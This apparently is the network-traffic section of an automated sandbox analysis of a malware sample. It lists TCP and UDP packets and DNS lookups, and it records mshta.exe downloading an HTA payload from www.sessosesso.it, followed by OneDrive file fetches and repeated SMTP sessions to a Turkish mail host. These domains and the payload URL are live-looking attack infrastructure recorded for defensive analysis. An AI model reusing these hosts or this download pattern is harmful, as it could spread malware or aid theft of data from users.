Apr 24, 2024 06:45:29.388020992 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.388037920 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.388221025 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.388227940 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.388268948 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.388988018 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.389004946 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.389050007 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.389056921 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.389080048 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.389101982 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.389722109 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.389739037 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.389801025 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.596126080 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.649704933 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.860126972 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.860243082 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.284126997 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.284212112 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405590057 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405603886 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405620098 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405657053 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405663967 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405682087 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405705929 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405718088 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405723095 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405735970 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405750990 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405759096 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405803919 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405811071 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405832052 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405841112 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405848980 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405879021 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405889034 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405900002 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405910969 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.405939102 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.405949116 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.406014919 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.406030893 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.406039953 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.406147957 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.406227112 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.406879902 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.406887054 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.406949043 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407145023 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407160997 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407179117 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407195091 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407205105 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407226086 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407322884 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407339096 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407393932 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407413960 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407427073 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407464981 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407496929 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407510996 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407525063 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407541037 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407587051 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407603979 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407605886 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407624006 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407668114 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407669067 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407687902 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407720089 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407727957 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407738924 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407742977 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407767057 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407805920 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407814980 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407828093 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407872915 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407891989 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407912970 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407921076 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407941103 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.407943010 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.407960892 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408003092 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408010960 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408020973 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408035994 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408036947 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408066034 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408072948 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408087969 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408111095 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408121109 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408128977 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408135891 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408168077 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408174038 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408191919 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408229113 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408242941 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408682108 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408695936 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408772945 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408864021 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.408868074 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408890963 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408916950 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.408931017 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:30.409025908 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.409080029 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.409795046 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.409878969 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:30.410486937 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:32.146287918 CEST	49715	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.146337032 CEST	443	49715	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:32.146431923 CEST	49715	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.146895885 CEST	49715	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.146945000 CEST	443	49715	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:32.146998882 CEST	49715	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.169647932 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.169672966 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:32.169764996 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.172575951 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.172604084 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:32.702203989 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:32.702280045 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.704461098 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.704468012 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:32.704943895 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:32.749679089 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.780083895 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:32.820135117 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:33.421539068 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:33.421627998 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:33.421705961 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:33.425127029 CEST	49716	443	192.168.2.7	13.107.139.11
Apr 24, 2024 06:45:33.425152063 CEST	443	49716	13.107.139.11	192.168.2.7
Apr 24, 2024 06:45:42.800812006 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:42.998819113 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:42.998925924 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:43.317347050 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:43.321599007 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:43.519418955 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:43.519639015 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:43.718705893 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:43.777430058 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:43.990906000 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:43.990956068 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:43.990993023 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:43.991033077 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:44.018538952 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:44.216144085 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:44.228050947 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:44.425987005 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:44.429460049 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:44.628247023 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:44.629811049 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:44.867873907 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:44.929426908 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:44.929775953 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:45.127258062 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.127449989 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.127667904 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:45.365932941 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.376688957 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.376938105 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:45.574188948 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.574628115 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.575380087 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:45.575475931 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:45.575475931 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:45.575475931 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:45.773952007 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.774188995 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:45.774990082 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:46.002029896 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:46.198062897 CEST	587	49721	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:46.198143959 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:55.685764074 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:55.883317947 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:55.883415937 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:56.168767929 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:56.169078112 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:56.281182051 CEST	49721	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:56.367539883 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:56.371162891 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:56.571888924 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:56.586164951 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:56.798649073 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:56.798669100 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:56.798686028 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:56.798763037 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:56.800883055 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:56.999397039 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:57.019771099 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:57.218019962 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:57.220863104 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:57.420227051 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:57.420819044 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:57.620695114 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:57.622181892 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:57.820223093 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:57.820528984 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:58.058994055 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.073995113 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.074249983 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:58.271661997 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.271716118 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.272418976 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:58.275434017 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:58.275510073 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:58.275510073 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:45:58.469975948 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.472726107 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.472783089 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.473804951 CEST	587	49722	192.185.124.132	192.168.2.7
Apr 24, 2024 06:45:58.532788038 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:07.132564068 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:07.329796076 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:07.330622911 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:07.476818085 CEST	49722	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:07.610466003 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:07.611737967 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:07.809578896 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:07.809763908 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:08.009613037 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:08.050410032 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:08.263571978 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:08.263592958 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:08.263634920 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:08.263705015 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:08.268737078 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:08.467062950 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:08.490350962 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:08.688333988 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:08.689194918 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:08.887985945 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:08.888386011 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.089030027 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.090152979 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.287764072 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.287997007 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.525734901 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.538885117 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.539113998 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.736296892 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.736398935 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.737016916 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.737098932 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.737098932 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.737118006 CEST	49723	587	192.168.2.7	192.185.124.132
Apr 24, 2024 06:46:09.934755087 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.934777975 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.935269117 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:09.936124086 CEST	587	49723	192.185.124.132	192.168.2.7
Apr 24, 2024 06:46:10.146812916 CEST	49723	587	192.168.2.7	192.185.124.132

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 06:45:17.126276970 CEST	58493	53	192.168.2.7	1.1.1.1
Apr 24, 2024 06:45:17.757304907 CEST	53	58493	1.1.1.1	192.168.2.7
Apr 24, 2024 06:45:24.540235043 CEST	60829	53	192.168.2.7	1.1.1.1
Apr 24, 2024 06:45:24.855134964 CEST	53	60829	1.1.1.1	192.168.2.7
Apr 24, 2024 06:45:31.982112885 CEST	50588	53	192.168.2.7	1.1.1.1
Apr 24, 2024 06:45:33.428323984 CEST	60145	53	192.168.2.7	1.1.1.1
Apr 24, 2024 06:45:42.232034922 CEST	50189	53	192.168.2.7	1.1.1.1
Apr 24, 2024 06:45:42.785023928 CEST	53	50189	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 06:45:17.126276970 CEST	192.168.2.7	1.1.1.1	0x221c	Standard query (0)	www.sessosesso.it	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:24.540235043 CEST	192.168.2.7	1.1.1.1	0xc5a	Standard query (0)	sessosesso.it	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:31.982112885 CEST	192.168.2.7	1.1.1.1	0x6832	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:33.428323984 CEST	192.168.2.7	1.1.1.1	0xadf5	Standard query (0)	zyupsq.by.files.1drv.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:42.232034922 CEST	192.168.2.7	1.1.1.1	0x5f0f	Standard query (0)	mail.irmaklarpaslanmaz.com.tr	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 06:45:17.757304907 CEST	1.1.1.1	192.168.2.7	0x221c	No error (0)	www.sessosesso.it		89.46.106.29	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:24.855134964 CEST	1.1.1.1	192.168.2.7	0xc5a	No error (0)	sessosesso.it		89.46.106.29	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:32.137315035 CEST	1.1.1.1	192.168.2.7	0x6832	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 06:45:32.137315035 CEST	1.1.1.1	192.168.2.7	0x6832	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 06:45:32.137315035 CEST	1.1.1.1	192.168.2.7	0x6832	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 06:45:32.137315035 CEST	1.1.1.1	192.168.2.7	0x6832	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:32.137315035 CEST	1.1.1.1	192.168.2.7	0x6832	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Apr 24, 2024 06:45:33.641360044 CEST	1.1.1.1	192.168.2.7	0xadf5	No error (0)	zyupsq.by.files.1drv.com	by-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 06:45:33.641360044 CEST	1.1.1.1	192.168.2.7	0xadf5	No error (0)	by-files.fe.1drv.com	odc-by-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 06:45:42.785023928 CEST	1.1.1.1	192.168.2.7	0x5f0f	No error (0)	mail.irmaklarpaslanmaz.com.tr		192.185.124.132	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.sessosesso.it

sessosesso.it

onedrive.live.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	89.46.106.29	443	7260	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 04:45:18 UTC	337	OUT	GET /assets/aw/yt.hta HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.sessosesso.it Connection: Keep-Alive
2024-04-24 04:45:19 UTC	226	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Wed, 24 Apr 2024 04:45:18 GMT Content-Length: 78133 Connection: close Last-Modified: Tue, 23 Apr 2024 08:57:08 GMT Accept-Ranges: bytes X-ServerName: ipvsproxy74.ad.aruba.it
2024-04-24 04:45:19 UTC	16158	IN	Data Raw: 97 ac ca b2 c3 22 c9 fe c3 4a 58 2d be 10 1e c8 d2 60 83 dd 2b 36 84 0a 43 8f cd 78 24 13 76 0e ac d6 f2 7a ac 52 d4 13 d9 80 9c d0 37 5e 83 94 f3 66 61 14 38 13 9f 60 27 c0 6f 33 55 50 da b0 d4 49 80 e7 1d a4 1c 80 8b 6f 04 ab 99 b4 d2 e4 0b 38 85 bd b1 62 d6 99 37 91 52 eb e2 a0 be 88 a5 ec fb ee de 9b 77 4f 4a e0 88 c8 0f f3 c6 73 ed 8a 28 1d cb 1d fe 72 73 e7 b0 8c 51 30 9d ea b1 7b 05 ad b8 e3 05 6f c1 35 72 d1 d9 0d 89 43 ca df fd 57 78 a1 bd 88 ee 89 7b f7 eb ea fd 1a 42 9e 17 94 ee 19 ba 09 85 b9 5b 95 aa 2c 98 65 5e 6d c1 72 32 46 72 10 bd 7c be 2f 68 0e 84 d6 38 58 8e 3a f6 f4 54 b0 24 f4 d2 bf 45 28 de c1 f0 15 99 7e 29 8a e8 fc 2c 06 d6 71 5b 8b a1 76 34 84 5c 52 9e 5e 6f 69 18 10 4d 3e 73 b2 ca 95 9e fc 3e 52 75 05 ad ad 6f 92 0e ef 1d e3 55 Data Ascii: "JX-`+6Cx$vzR7^fa8`'o3UPIo8b7RwOJs(rsQ0{o5rCWx{B[,e^mr2Fr\|/h8X:T$E(~),q[v4\R^oiM>s>RuoU
